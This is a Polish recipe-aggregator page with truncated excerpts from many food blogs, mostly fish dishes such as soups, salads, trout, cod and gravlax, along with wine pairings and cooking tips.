razu mąż przygotował ją na obiad, czekało na mnie bardzo miłe zaskoczenie. Zupa zupełnie inaczej smakowała. Nie pływały w niej żadne rybne pulpeciki, tylko prawdziwe duże kawałki różnych gatunków ryb. Smak i aromat był niezwykły. Jest to bardzo sycąca i smaczna zupa. Sądzę, że swój wyjątkowy smak,  zawdzięcza lekko pomidorowej "nucie".  Polecam ją bardzo gorąco wszystkim wybrednym osobą(...)łyżeczki słodkiej papryki w proszku - 1 puszka pomidorów - 2 marchewki - pietruszka - seler - koncentrat pomidorowy - łyżeczka suszonej bazylii - bulion warzywny - oliwa - masło Sposób przygotowania: Do gotującej się wody dodajemy całe ryby. Tworzymy bulion. Kiedy jest on już gotowy, przecedzamy go przez sito. Do powstałego wywaru dodajemy pokrojone w kawałki warzywa. Zagotowujemy. Filet z dorsza oprószamy solą.  Na patelni szklimy pokrojoną

Pan i Pani Smith w kuchni
Weganie nad morzem 207

jedzeniem nad morzem bywa różnie. Pozornie wydaje się, że wybór jest duży: smażone ryby, frytki, zapiekanki, kebaby, szaszłyki, gofry z bitą śmietaną… jednak z ich jakością bywa różnie, ale mimo wszystko turyści wypoczywający nad morzem są w stanie trafić na jedzenie dobrej jakości. A jak mają sobie poradzić turyści-weganie? Z pozoru sprawa wydaje się trudna, ale okazuje się(...)budżet? Co prawda z ołówkiem w ręku nie czyniłam dokładnych rachunków, jednak z pewnością mogę przyznać, że na jedzenie wydaliśmy o wiele mniej niż podczas poprzednich wakacji, kiedy zamawialiśmy rybę w smażalni, która jednak kosztuje najwięcej.  Mam nadzieję, że nasza relacja pozwoli Ci zainspirować się kilkoma powyższymi pomysłami i , jeżeli będziesz w okolicy, w której my mieszkaliśmy, ułatwi wybór

Roślinna - blog wegański
Prosta sałatka z tuńczykiem. 341

przygotowywać sałatek składających się z kilkunastu składników, często tracimy wtedy smak poszczególnych produktów i otrzymujemy wielobarwną papkę, która smakuje wszystkim i niczym. Dzisiejsza sałatka to tylko słony smak ryby, słodki kukurydzy i lekko ostry szczypiorku. Tylko tyle, i aż tyle. Na prawdę warto. Przepis Składniki: 2 puszki tuńczyka w sosie własnym puszka kukurydzy mały pęczek szczypiorku 1-2 łyżki majonezu(...)kawałkach. W Polsce występuje też tuńczyk sałatkowy, który jest najmniejszymi ścinkami tuńczyka. My mieszkamy w Niemczech i tutaj dostępny jest tylko tuńczyk w kawałkach. Czuć w nim mięso ryby, a nie tylko słoną rybną papkę. Tuńczyka rozdrabniamy i mieszamy z kukurydzą, majonezem i posiekanym szczypiorkiem. Ilość majonezu jest bardzo mała, ponieważ ma on za cel tylko połączyć składniki. Doprawiamy pieprzem

KasiaiKrzysiu.pl
Jak gotować lub smażyć ryby, aby nie straciły witaminy B1. 72

rzygotowywane przez nas ryby będą smaczniejsze i nie stracą witaminy B1, jeżeli będziemy ją gotować lub smażyć krótko, a raz przyrządzoną nie będziemy odgrzewać. Warto pamiętać o tym podczas przygotowywania potraw z rybami.                        Gorąco pozdrawiam

Przepisy i porady kulinarne
Grilllowany pstrąg łososiowy i fasolka szparagowa z ryżem 188

Kiedy nie mam czasu na gotowanie to wybieram najszybsze, a zarazem najzdrowsze dania. Ryby warto wprowadzić do naszego jadłospisu i zjadać kilka razy w tygodniu. W tym wydaniu grillowany pstrąg łososiowy z grillowaną fasolką szparagową z ryżem. :) Składniki: 1/2 filetu pstrąga łososiowego porcja fasolki szparagowej  1/4 woreczka brązowego ryżu  1 łyżeczka oliwy z oliwek pieprz cytrynowy zioła prowansalskie(...)przygotowania: Filet z pstrąga dokładnie myjemy i osuszamy. Przyprawiamy pieprzem cytrynowym i ziołami prowansalskimi. Odstawiamy do lodówki na kilka minut. Fasolkę gotujemy na wrzącej wodzie ok. 5 minut. Rybę i fasolkę grillujemy na patelni grillowej lub grillu elektrycznym. Ryż mieszamy z oliwą, oliwkami i przyprawami. Wszystko podajemy razem. Smacznego

Truskawkowa Fiesta
Jak jeść zdrowo na wakacjach? 160

arbuza. Starajmy się, aby większość stanowiły owoce i warzywa, a nie tłuste, posypane gotowymi mieszankami przypraw i dodatkowo podlane piwem mięso.   Na mieście Jeśli jesteś nad morzem, zamawiaj ryby grillowane lub z pieca. Do tego ziemniaki z wody zamiast frytek i surówka dnia. Nigdy nie kupuj tych smażonych w panierce, we fryturze, ociekające litrami starego tłuszczu. Ogólnie potraw smażonych(...)barach unikaj jak ognia. Nie daj się też nabrać na świeżego dorsza w wakacje, istnieje wysokie prawdopodobieństwo że to mrożonka. Tak naprawdę trafić na dobrze przyrządzoną i świeżą rybę nad polskim morzem nie jest łatwo, ale na pewno jest to możliwe :) Gofry - od czasu do czasu można sobie pozwolić na tę małą przyjemność, pod warunkiem że zamówimy takiego z dużą

Powiedz dietom nie
WODA Z CYTRYNĄ I MIĘTĄ 152

nieznacznie uspakajające i przeciwdziała senności. Mięta doskonale smakuje jako gorąca herbata (rozgrzewa) lub na zimno (jako orzeźwiający napój ugasi pragnienie). Doskonale pasuje do deserów, lodów, sorbetów, do sałatek, ryb, twarogu, czy do farszu mięsnego lub mięsa grillowanego. Mięta jest bardzo łatwa w uprawie i mało wymagająca. Potrzebuje dużo słońca i 1 - 2 razy dziennie podlewać. Nie ma różnicy miedzy miętą(...)wybarwiona, dojrzała lekko pachnie na końcach. natomiast cytryny pofałdowane zawierają mniej soku i maja gruba skórę np. cytryny zakończone "pępkiem". Cytrynę można spożywać jako dodatek do deserów, sałatek, napojów, ryb. Ciekawostka - skropienie sokiem z cytryny jabłek zapobiega ich ciemnieniu. Sok z cytryny znalazł zastosowanie również w kosmetyce np. przyśpiesza leczenie opryszki wargowej

Ciastka - domowe słodkości
Ziemniaczana salatka z lososiem i chrzanem czyli Srodowe Rybki odc.58 192

smak (oprócz tych z masłem orzechowym i domową konfiturą z truskawek) i powstają kolejne wariacje około sałatkowe. Tym razem skorzystałam z pomysłu Jamiego Olivera zmieniając proporcje i rybę przede wszystkim. Rewelacyjne połączenie smaków dla każdego miłośnika ziemniaków i ryb.  Ziemniaczana sałatka z łososiem i chrzanem 400 g ugotowanych, ostudzonych, młodych ziemniaków, pokrojonych w kostkę

Dzieje kuchennej Wiewióry
Pstrag lososiowy zatopiony w soku z cytryny 134

Dzisiaj rybka :) SKŁADNIKI: ok 1/2 kg pstrąga tęczowego sok z połowy cytryny pieprz, sól 2-3 ząbków czosnku suszone pomidory, suszona pietruszka  Rybę kroimy, podsmażamy na oliwie z czosnkiem - pamiętajcie zaczynamy smażyć rybę od tej strony, na której nie było łusek :) Podsypujemy pietruszką suszoną, suszonymi pomidorami. Odwracamy i ponownie przyprawiamy, pieprz sól dla smaku. Wyciskamy sok z połowy cytryny

dlaSmaQ
Pasta jajeczna z makrelą. 132

Ryby to bardzo ważny, zdrowy składnik diety- dorsz w chrupiącej panierce, pyszne śledziki czy ryby w zalewie-kto ich nie lubi. Dlatego polecam na śniadanko pyszną pastę na gorącego tosta czy bułeczkę z wędzoną makrelą. SKŁADNIKI: 1 wędzona makrela 4-5 ugotowanych jajek 3-4 ogórki kiszone 1 mała czerwona cebula zmiażdżony ząbek czosnku 2-3 łyżki majonezu 1 łyżeczka

Kuchnia Beaty
Wegańskie ceviche z pieczarek 222

odróżując po Peru miałam okazję poznać wiele egzotycznych roślin jadalnych, ciekawe odmiany ogólnie znanych warzyw, oraz jeść znakomite potrawy, m.in. peruwiańskie ceviche de corvina przygotowywane z surowych ryb. Okazało się, że można przygotować także wersję wegańską :). Oryginalny przepis pochodzi z bloga  Kuchnia Peruwiańska ,   gdzie gotują pasjonaci Ameryki Południowej i kuchni peruwiańskiej. Po małej modyfikacji dziś(...)blogu. Podstawą dobrego ceviche z ryb lub owoców morza są świeże produkty, a ich zdobycie nie zawsze jest proste. Wersja wegańska przygotowana z pieczarek smakuje znakomicie i nie ma większych problemów z zakupem świeżych. Wegańskie ceviche jest idealną przekąską na upalne dni, lekkie, orzeźwiające, aromatyczne i przygotowuje się je w ciągu kilkunastu minut bez tracenia czasu na stanie w kuchni

SzczyptaSmaQ
Łosoś z gotowanymi warzywami i pieczonymi ziemniakami 275

pieprzem oraz skrapiamy 3-4 łyżkami oliwy. Wkładamy do piekarnika rozgrzanego do 180 stopni i pieczemy do miękkości kilka razy odwracając. W międzyczasie przygotowujemy łososia i warzywa. Kawałki ryby posypujemy ok. 1 płaską łyżeczką soli oraz szczyptą pieprzu. Nawilżamy 1-2 łyżkami oliwy. Pozostawiamy na kilkanaście minut, aby mięso przeszło przyprawami – w razie potrzeby w lodówce. Marchewkę obieramy i kroimy

Kulinarna Pokusa
Beszamelowe puree z bakłażana z Grecji 213

najlepszej oliwie z oliwek??? Puree ma konsystencję gęstego sosu i podaje się na nim wszystko co z morza czyli ośmiornice z grilla czy kalmary albo mątwę.Również białe ryby podawane są na tym pysznym bakłażanowym puree.Typowe greckie duszone dania z wołowiny lub z baraniny w sosie pomidorowym podaje się również na tym smakowitym sosie. Puree po wystygnięciu gęstnieje(...)kapać z łyżki. Na koniec dodać starty ser Parmezan.Zamieszać.Nie zagotowywać. Na samym końcu doprawić solą i pieprzem do smaku. Na takim beszamelowym puree z bakłażana podawać można ryby i owoce morza.Pyszny na ciepło i na zimno.Na zimno staje się bardziej gęsty oczywiście i jest tedy doskonałym dipem. W Grecji jest tamtejszą specjalnością i podaje się na nim pieczoną

Sztuka gotowania w/g Samiry
Dorsz w cieście z kapustą kiszoną 171

Bardzo lubimy ryby ,szczególnie dorsza. Ryba zawsze kojarzy się nam z surówką z kiszonej kapusty. Tym razem postanowiliśmy połączyć te składniki. Wyszło pysznie. Składniki 700 g filetów z dorsza 1/2 szklanki kwasu z kapusty 1/2 szklanki kapusty kiszonej 1/2 szklanki mleka 3/4 szklanki mąki 1 jajko sok z cytryny sól ,pieprz olej do smażenia Przygotowanie Normal 0 21 false false

R'n'G Kitchen
Halibut grillowany 140

sosu słodko-kwaśnego 1 łyżeczka sosu teriyaki 2 łyżki soku z limonki tajskiej 1 papryczka chili 1 szalotka sól ,pieprz Przygotowanie   Normal 0 21 false false false MicrosoftInternetExplorer4 Rybę płuczemy i osuszamy papierowym ręcznikiem. Porcjujemy. Przygotowujemy marynatę. Oliwę mieszamy z pastą curry ,posiekanym imbirem ,sosem słodko-kwaśnym ,sosem teriyaki ,posiekaną papryczką ,sokiem z limonki tajskiej oraz posiekaną szalotką(...)smaku doprawiamy solą i pieprzem. Rybę zalewamy marynatą ,mieszamy i wstawiamy do lodówki na godzinę. Po tym czasie wyjmujemy z marynaty i grillujemy.   /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin

R'n'G Kitchen
Pstrąg pieczony w folii 147

pstrąga. Czosnek kroimy w plasterki i wkładamy do wnętrza pstrąga. Kolejnym etapem jest oprószanie przyprawami soli można dać więcej aby dostała się do całego mięsa. Na koniec we wnętrze ryby wkładamy łyżkę masła rozprowadzamy go i na koniec dodajemy plasterek cytryny. Ryby zawijamy szczelnie w foli aluminiowej odstawiamy na 1h aby się ładnie zamarynowały i pieczemy w piekarniku około

Sprawdzone przepisy kulinarne
Francuskie wina na twoim stole – kolejna francuska selekcja Lidla 108

Pachnie cytrusami, brzoskwinią i soczystszym jabłkiem. Usta lekkie, orzeźwiające z przyjemną kwasowością. Letnie wino w bardzo dobrej cenie. Przed podaniem schłodzić do 10 -12 stopni. Do lekkich dań z ryb, drobiu lub do picia solo. Bourgogne Hautes-Côtes de Nuits AOP Philippe de Bois d’Arnault 2013 (39,99 zł) to chardonnay pachnie beczką, dominują aromaty tostowe z lekką nutą(...)słodkich owoców. Dość duża kwasowość. Pić mocno schłodzone 8 – 10- stopni. Do nieco cięższych dań z ryb i drobiu. Coteaux Bourguignons AOP Cyril et Virginie 2013 (19,99 zł). W nosie dojrzałe czerwone owoce, pieprz i zioła. W ustach delikatne taniny i dość ostra kwasowość. Lekkie. Pić lekko schłodzone do 16 stopni. Côtes du Rhone AOP Cellier du Delta

królestwo garów
Kuskus z granatem i pomarańczowe pesto z rukoli 143

jego smak. Do tego małe rubinowe groszki, czyli pestki z granatu i pesto z rukoli oraz nerkowców. Świetnie nadaje się na lunch, a w połączeniu z kurczakiem czy białą rybą będzie pysznym obiadem. SKŁADNIKI (3-4 porcje) 1 szklanka kuskus 1 szklanka wody 1 szalotka 1/2 granatu 1/2 pęczka natki pietruszki sok z 1/2 cytryny pesto 4 garści rukoli(...)wszystkie składniki pesto i miksujemy na gładką masę. Doprawiamy do smaku.  Na talerz nakładamy sałatkę z kuskus i polewamy ją pesto. Można podawać samodzielnie lub z mięsem czy rybą. Smacznego

DefinicjaSmaku
Gravlax 157

się ze średniowiecza, kiedy to rybacy solili łososie i zakopywali w piasku, w miejscu napływania fal morskich by lekko sfermentowały. Obecnie nie stosuje się już fermentacji w procesie produkcyjnym. Ryby przyrządza się w marynacie, w ciągu kilku dni. Ja mojego gravlaxa przygotowałam w ciągu 24h w wódce, soli i cukrze. Ostatnimi czasy to moja ulubiona wariacja na temat łososia(...)chcemy potem zjeść :) ) ok 100ml wódki ( może też być brandy lub cognac) 1,5 szklanki cukru 1,5 szklanki soli Można również dodać pieprz i posiekany koperek. Rybę natrzeć alkoholem a następnie dokładnie zasypać wymieszanymi ze sobą solą i cukrem. Zostawić na minimum 24 godziny w lodówce. Dla bardziej cierpliwych zostaje opcja 36 godzin. Po upływie tego czasu łososia wyjąć

Jemy Pijemy
Polecam orientalne zupki :) 212

Czasami, kiedy nie chce mi się gotować lub po prostu nie mam na to czasu lubię skoczyć na wietnamską zupkę. Moimi ulubionymi są zupa z rybą i zupa Won Ton :) W Warszawie przetestowałam już kilka miejsc, w których serwują te pyszności jednak najlepsze miejsca to: 1. Soan Pho na Chmielnej 2. Bar szybkiej obsługi w halach kupieckich na Marywilskiej(...)miejsca górnych lotów, z białymi obrusami ale rodowici Wietnamczycy potrafią tam przygotować cuda dla podniebienia. Wietnamska zupa ze smażoną rybą, ziołami, pomidorem, makaronem pszennym. Sajgonki wegetariańskie i z mięsem. Ryż z warzywami i surówką z kapusty. Tajska zupa z krewetkami i pieczarkami. Tajska zupa z krewetkami i pieczarkami i chilli na mleku kokosowym. Raj dla podniebienia :) POLECAM POLECAM

Jemy Pijemy
SAŁATKA Z TUŃCZYKIEM 172

mnie dzisiaj naszło na ryby. Hmm... być może dlatego, że za dwa tygodnie (z małym haczkiem), wybieram się nad nasz cudowny Bałtyk. Już nie mogę się doczekać: błogiego lenistwa, cudownego klimatu i bogactwa ryb jaki tam znajdę. A póki co, zapraszam na smaczną sałatkę z tuńczykiem. SKŁADNIKI: kilka liści sałaty lollo bianco (lub innej "twardej" sałaty) 1 pomidor czerwony

Kuchnia w opałach
Flavours of Portugal - kolacja, Tejo oraz wielkie białe wina Portugalii 147

skórki pomarańczowej, orzechów i liczi. Eleganckie dobrze zbalansowane w ustach z długim ziołowym finiszem i delikatną nutą maślaną. Doskonałe jako aperitif, również do homara oraz potraw z owocami morza, rybami, drobiem. Idealne do dań kuchni azjatyckiej ze szczególnym uwzględnieniem Pad Thai. Muros de melgaco Alvarinho 2007 - 100 % Alvarinho. Wino to wraz z Ewą Rybak prezentował jego producent Anselmo Mendes. Wino(...)miało kontaktu z beczkami dębowymi. Po niemal 10 latach w butelce prezentuje miodowo- owocowe aromaty, nie traci struktury, posiada dobrą kwasowość. Pokazuje ogromny potencjał verdelho. Świetne do serów i ryb w bardziej treściwym wydaniu. Esporao Private Selection 2007 – w bukiecie intensywne aromaty dojrzałych brzoskwiń i gruszek z dymną pikantną nutą dębu francuskiego. W ustach pełne, skoncentrowane z nutami soczystych moreli

królestwo garów
Dorsz z soczewicą, z porami i kawiorem cytrynowym 152

razem mamy dla Was propozycję dania z rybą w roli głównej. Pyszny i soczysty dorsz w towarzystwie zdrowej soczewicy z dodatkiem duszonego pora i kawioru cytrynowego Składniki: - 400 g polędwicy z dorsza - 4 łyżki czerwonej soczewicy - 1 łyżka masła - 1 por - 1 łyżka tapioki - sok z połówki cytryny - sól, pieprz Dodatkowo potrzebujemy olej do smażenia. Porcja na 2 osoby. Najpierw(...)oleju na złoty kolor. Na talerzu układamy soczewicę z dorszem i dekorujemy porami oraz kawiorem cytrynowym (ten kawior to taki mały patent od Twojego Kucharza na podanie cytryny do ryby w nieco inny sposób niż pokrojone plasterki ). Smacznego

Kuchenne Wariacje
Siemię lniane 88

dziennego zapotrzebowania ) • 5,73mg żelaza ( 46% dziennego zapotrzebowania) • a ponadto : witaminę E, lecytynę, flawonoidy i fitoestrogeny . Zawartość wielonienasyconych kwasów tłuszczowych omega3 jest podobna do zawartości tych kwasów w mięsie ryb. Warto więc włączyć je do naszej diety, zwłaszcza gdy my lub któreś z naszych dzieci nie może jeść ryb z uwagi na dużą zawartość histaminy wywołującej reakcję alergiczną. Dostarczymy

Wiem co jem
.747. dynia i masło orzechowe 146

wyrobów też nie, żeby jeść kanapki z wędliną przekonałam się jakoś w II klasie podstawówki. Potem doszły "problemy" z jedzeniem przez które "pozwalałam sobie" tylko na drób i chude ryby (aczkolwiek to drugie rzadko, bo za rybami też nie przepadałam). Zaczęłam interesować się takimi pojęciami jak wegetarianizm. Zawsze kochałam zwierzęta. Pomyślałam, że skoro i tak jem mało mięsa, jest

breakfast of dreams
Pasta z wędzonej makreli 337

przepis. Madzia ogląda teraz Seks w Wielkim Mieście, a ja uciekam na zupę kalafiorową za chwilę. Taka pasta z makreli jest idealna na kanapki. Ja w ogóle uwielbiam ryby, w każdej postaci. Madzia, wiedząc o tym, kupiła mi kilka wędzonych makreli. Sama niespecjalnie lubi ryby. Ale jednak przeceniła moje możliwości. Jadłem je i jadłem i zjeść nie mogłem. W końcu

Marder&Marder Manufacture
Potreningowy milkshake bananowy 183

małe kawałki, wrzucamy wszystko do wysokiego naczynia i miksujemy. Dlatego po zakończeniu ćwiczeń sięgnij po wysokiej jakości białko w postaci chudych produktów mlecznych (twaróg, jogurt, mleko, chude mięso i ryby, jaja, soja, warzywa strączkowe), w ilości do 10 do 20 g. http://wformie24.poradnikzdrowie.pl/odzywianie/co-jesc-przed-i-po-treningu-co-jesc-by-trening-byl-efektywny_41742.html Dlatego po zakończeniu ćwiczeń sięgnij po wysokiej jakości białko w postaci chudych produktów mlecznych (twaróg, jogurt(...)mleko, chude mięso i ryby, jaja, soja, warzywa strączkowe), w ilości do 10 do 20 g http://wformie24.poradnikzdrowie.pl/odzywianie/co-jesc-przed-i-po-treningu-co-jesc-by-trening-byl-efektywny_41742.html

W kuchni bez szafek
Zioła w kuchni - ROZMARYN 172

należy dodawać go do potraw rozważnie. Rozmaryn w kuchni występuje zarówno w formie świeżej, jak i suszonej. Stosuje się go do przyprawiania dań z mięsa, zapiekanek, warzyw, makaronu, smażonych ryb, owoców morza, a także bulionów i marynat. Rozmaryn idealnie dopełnia również walory smakowe potraw z baraniny, dziczyzny, drobiu i ryb. Jest nieodzowny w potrawach z pieczonymi lub smażonymi ziemniakami

Garniec Magalie
Młoda kapusta duszona w śmietanie 164

śmietanie z dodatkiem świeżego koperku. Bez zasmażki i smażonej cebulki, prawie dietetyczna. Z niecierpliwością czekam każdego roku na pierwsze zielone główki. Najlepiej smakuje z młodymi ziemniaczkami, kotletem lub smażona rybą. Zapraszam na najprostszą i najsmaczniejszą wersję wiosennego klasyka kuchni polskiej. Składniki: główka kapusty kubeczek śmietany 10-12%, 200 g 1 łyżka soku z cytryny lub octu szczypta cukru koperek - dużo(...)zasmażki i bez smażonej cebulki. Jeśli dodałaś za dużo wody, lepiej zagęścić kapustę mąką niż wylewać nadmiar wody pełen soli mineralnych podawać z młodymi ziemniaczkami, kotletem lub smażona rybą

Gotuj zdrowo!Guten Appetit!
Szybka kanapkowa sałatka z trewalem 182

wiem czy macie podobnie jak Ja ale gdy mnie najdzie ochota na wędzoną rybę to już nie odpuści! ;) Ostatnio znów pojawiły się w mojej Biedronce wędzone trewale, więc przydały się do szybciej śniadaniowej sałatki kanapkowej. Co trzeba: - wędzony trewal - cebula - szczypiorek - łyżka masła Cebulę kroimy, rybkę rozdrabniamy. Wszystkie składniki mieszamy i ugniatamy ze sobą. Posypujemy szczypiorkiem. I włala

upichcona
Ryba w warzywach ze śliwkami- zupa rybna 117

Ryby – powszechnie wiadomo, że są zdrowe. Dziś pyszna potrawka rybna z dodatkiem suszonych śliwek. A co ze śliwkami? czy są zdrowie? Pomimo, że są dosyć kaloryczne (około 260 kcal w 100 g), to są pomocne przy próbach utraty zbędnych kilogramów, dając uczucie sytości i przyspieszając metabolizm, Składniki: ½ kg filetów rybnych ½ kg Włoszczyzna ( bez kapusty) 10 dag suszonych śliwek Liść laurowy(...)odstawić na pół godziny. W tym czasie również namoczyć śliwki w odrobinie wody. Następnie opłukać warzywa obrać, pokroić, połączyć ze śliwkami i ugotować z przyprawami. Pod koniec gotowania włożyć rybę i gotować na wolnym ogniu około 20 minut. Przed podaniem posypać natką pietruszki i można podać również na kolację wigilijną

Tradycyjna Kuchnia
Fasola z anchois na wigilię 140

Kolejna potrawa wigilijna. Trochę symboliki: Według tradycji dania z fasoli miały zapewnić bogactwo oraz miłość (przypisywano jej bowiem moc płodności i urodzaju oraz moc przyciągania pieniędzy) Ryby: symbolizują mądrość, wolność, harmonię i sprawiedliwość. Dla chrześcijan ryba ma jednak szczególne znaczenie: jest znakiem odrodzenia, miłości, nieśmiertelności. Składniki: ½ kg białej fasoli 5 ząbków czosnku 10 łyżek oliwy 1 słoiczek anchois (78g) Sól

Tradycyjna Kuchnia
Filety rybne w piwnej panierce 102

Sól Smalec lub olej do smażenia Wykonanie: Filety rybne posolić i odstawić w chłodne miejsce. Piwo wymieszać z żółtkami, mielonym kminkiem, ubitą pianą z białek i lekko wymieszać. Porcje ryby moczyć w cieście i smażyć wolna na tłuszczu. Po usmażeniu wstawić rybę na kilka minut do piekarnika aby wewnątrz nie była surowa. Podawać na zimno i na gorąco

Tradycyjna Kuchnia
Pstrąg smażony sauté 128

Sauté jest to metoda przyrządzania potraw polegająca na smażeniu w małej ilości silnie rozgrzanego tłuszczu. Jest to również metoda smażenia mięsa, ryb bez żadnej panierki tylko przyprawionych solą, pieprzem lub ziołami, tzw. smażenie w sosie własnym. Ja dodałam jeszcze odrobinę mąki, a następnie dopiekłam w piekarniku. Składniki: 1 kg pstrąga 8 dag tłuszczu 1 cytryna 3 dag mąki(...)sól do smaku Wykonanie: Rybę sprawić, opłukać, posolić i oprószyć mąką. Następnie smażyć powoli na rozgrzanym tłuszczu, po czym wstawić do nagrzanego piekarnika na 15 minut. Podawać z sokiem z cytryny

Tradycyjna Kuchnia
Zdrowo i dietetycznie na święta 149

Pierniczki otrębowe Pierniczki pełnoziarniste Piernik z odrobiną marchewki  INNE: Makowiec <3 Keks 1 <3 Keks 2  Makiełki (kluski z makiem) <3 NA SŁONO  RYBY Sałatka śledziowa Ryba pieczona z papryką Śledzie po kaszubsku Kulki makrelowe Śledź w sosie musztardowym INNE: Sos pieczarkowy Razowe paszteciki z pieczarkami Krokiety z kapustą i grzybami Biała kiełbasa

Zdrowo i dietetycznie. Moja rzeczywistość
Makaron proteinowy z tuńczykiem i zieloną fasolą + recenzja 195

też w morzach zamkniętych. W tychże azorskich wodach łowione są miedzy innymi tuńczyki i sardynki. Przerabiane są… one na miejscu. Tuńczyk AS do MAR w słoikach pochodzi z ryb wyłącznie świeżych, konfekcjonowanych zaraz po złowieniu. Duże kawałki najlepszych części świeżych tuńczyków pakowane są w oliwie z oliwek lub w zalewie. Moja opinia: Główną zaletą tuńczyka tej firmy jest(...)pakowany jest w formie większych filetów co różni go od wielu sklepowych wersji gdzie mamy tuńczyka rozdrobnionego, albo w mniejszych kawałkach. W smaku przypadnie każdemu kto jest fanem ryb tak jak ja ;) Ważną kwestią jest również to, że w składzie mamy jedynie tuńczyka, wodę i sól beż żadnych dodatkowych ulepszaczy Samo opakowanie przyciągnęło moją uwagę odbiegając od standardowych metalowych puszek

Zdrowo i dietetycznie. Moja rzeczywistość
Pieczone ziemniaki 226

wielu dań. Pieczone ziemniaki 2015-01-22 09:58:45 Pieczone ziemniaki w różnych wersjach z ziołami, cytryną lub czosnkiem to doskonały dodatek do wielu dań mięsnych, w tym ryb, drobiu i wieprzowiny. Zapisz przepis Drukuj Składniki wspólne i zarazem wersja podstawowa (dla 2 osób) 600g niezbyt dużych ziemniaków sól (w ilości wg upodobania) Wersja rozmarynowo-cytrynowa(...)ryb i lekkiego białego drobiu 1 łyżeczka rozmarynu 2-3 łyżki soku z cytryny 5 łyżek oliwy 4 ząbki czosnku Wersja z majerankiem, np. do wieprzowiny, dziczyzny, kaczki lub gęsi 1 łyżeczka majeranku 5 łyżek oleju rzepakowego, który można zastąpić np. kaczym lub gęsim smalcem jeśli podajemy ziemniaki z tym drobiem 4 ząbki czosnku Instrukcje Ziemniaki obieramy i kroimy

Kulinarna Pokusa
Quinoa na zielono z kwaśnym mango i awokado pod łososia 189

patelni rozgrzać kilka łyżek oliwy Kawałki łososia ułożyć na gorącym tłuszczu skórą do dołu i smażyć kilka chwil do czasu aż skórą stanie się chrupiąca a górna strona ryby przestanie być szklista. Pezewrócić każdy kawałek szybko na kilka sekund i ponownie przewrócić na skórę. Ważne aby cieniutkie paseczki tłuszczu nie zbielały a w miarę możliwości pozostały szkliste.Jeśli zbieleją oznacza(...)ryba jest skandalicznie przesmażona. Podawać od razu na zimnej zielonej quinoi

Sztuka gotowania w/g Samiry
Sałatka ziemniaczana z boczkiem 188

Sałatka ziemniaczana z dodatkiem boczku, jajek, w towarzystwie pikantnych porów i korniszonów. Można podać ją do grillowanych mięs, ryb czy warzyw. Składniki: 4-5 kremowych ziemniaków jednakowej wielkości 4 jajka 150 g parzonego boczku (w kawałku) kilka korniszonów 1 por (jasna część) mały kubek jogurtu naturalnego 1-2 łyżki majonezu 2 łyżeczki musztardy 1 łyżeczka majeranku sól i świeżo mielony(...)majonezem, musztardą, posiekanym koperkiem, doprawiając do smaku sokiem z cytryny, solą i pieprzem. Odstawić do lodówki na minimum 30 minut, aby sałatka się przegryzła. Podawać do grillowanych mięs lub ryb

Czerwień i błękit
Chorwacka gregada 89

Gregada to tradycyjny chorwacki gulasz rybny pochodzący z wyspy Hvar. Biała świeża ryba gotowana jest w białym winie z kawałkami ziemniaków oraz z ziołami. Jadłam to danie w ubiegłym roku właśnie na wyspie Hvar, w gorące letnie popołudnie popijając schłodzonym białym winem. Nadszedł czas by odtworzyć tą przepyszną kompozycję w własnej kuchni. Danie przygotowuje się w dość prosty sposób, kluczem(...)sukcesu jest dobra, świeża ryba. Ja wybrałam dorsza ale inne tez by się pewnie nadawały. A efekt końcowy? Brakowało tylko chorwackiego słońca i morskiego klimatu

Milion Smaków
Pieczony dorsz w sosie sojowym z fasolką 105

Dziś propozycja na pyszną kolację dla miłośników ryb i/lub osób dbających o linię. Tak, wiosna tuż tuż więc warto zmniejszyć ilość kalorii w diecie :) Rybę doprawiamy sosem sojowym i ziołami a następnie pieczemy w folii. Jako dodatek fasolka szparagowa - świeża lub mrożona z podsmażoną na złoto cebulką. Proste, smaczne, zdrowe i lekkie

Milion Smaków
Ryba z warzywami w galarecie 106

Ryba w galarecie doskonale sprawdzi się zarówno jako uzupełnienie świątecznego stołu jak również jako przekąska na karnawałowe spotkanie z przyjaciółmi. Moją rybę ugotowałam na parze a galaretę przygotowałam na bazie bulionu, w którym gotowały się warzywa. Dodatek gotowanego jajka i zielonego groszku jest ciekawym urozmaiceniem dla tego dania

Milion Smaków
Zupa rybna 70

Długo zbierałam się do przygotowania tej ryby aż w końcu wróciłam z zakupów ze świeżymi dorszami więc decyzja zapadła. Postanowiłam przygotować wariant z mieszanką smaków raczej niż dominującym smakiem ryby. Zneutralizowałam go dodając paprykę, dymkę i makaron jajeczny. Zupa jest smaczna i pożywna - z powodzeniem może samodzielnie stanowić lekki obiad czy kolację. Miłośnikom ostrej kuchni polecam doprawienie ulubionym ostrym, azjatyckim

Milion Smaków
Donna Hay "Szybko, świeżo, prosto" - kilka słów o książce 177

ŚWIEŻO - klasyczne dania w nowej, świeżej odsłonie - np. sałatka Cezara czy caprese, burger, stek, makarony, pieczone kurczaki,  pieczone mięsa, jajka na grzankach, kurczak w cieście, zupy, pierożki, żeberka, ryby i krewetki. Na końcu działu również znajdują się słodkości - np. bananowo-karmelowe ciasto, kruchy placek z brzoskwiniami, pudding cytrynowy, panna cotta, creme brulee czy czekoladowe brownie. Trzeci dział - PROSTO - dział(...)przedstawia kulinarne triki, aby z podstawowych składników stworzyć przepisy na każdą okazję. Tu znajdziemy przepis m.in na jagnięce kotlety, wiele makaronów, sałatek, dań z rybami, zupy, owoce morza, tarty, czy risotto. W tym dziale znajdziemy m.in. grillowanego kurczaka w za'atarze, którym zainpirowaliśmy się do wykonania tego wpisu - ( klik ). Ponownie na końcu działu znajdziemy słodkie przepisy - ciasto czekoladowe, tosty francuskie

Plate of Joy
Grillowany łosoś w kremowym sosie ze szparagami i grzybami i test patelni Ballarini / Grilled salmon with creamy asparagus and m 191

łatwość utrzymania jej w czystości oraz oryginalny wygląd. Zawarte w niej cząsteczki mineralne gwarantują wysoką odporność na uszkodzenia i zarysowania. Na grillowej patelni linii Lucca z łatwością przygotujesz mięso, ryby czy też warzywa – beztłuszczowo i wygodnie. Faktura dna patelni grillowej to charakterystyczne rowki, umożliwiające ściekanie wytopionego tłuszczu. Nadają one przygotowywanej potrawie wygląd dania z grilla. Patelnia grillowa zaopatrzona jest również

karmelowy
Pieczony pstrąg z warzywami i roszponką 130

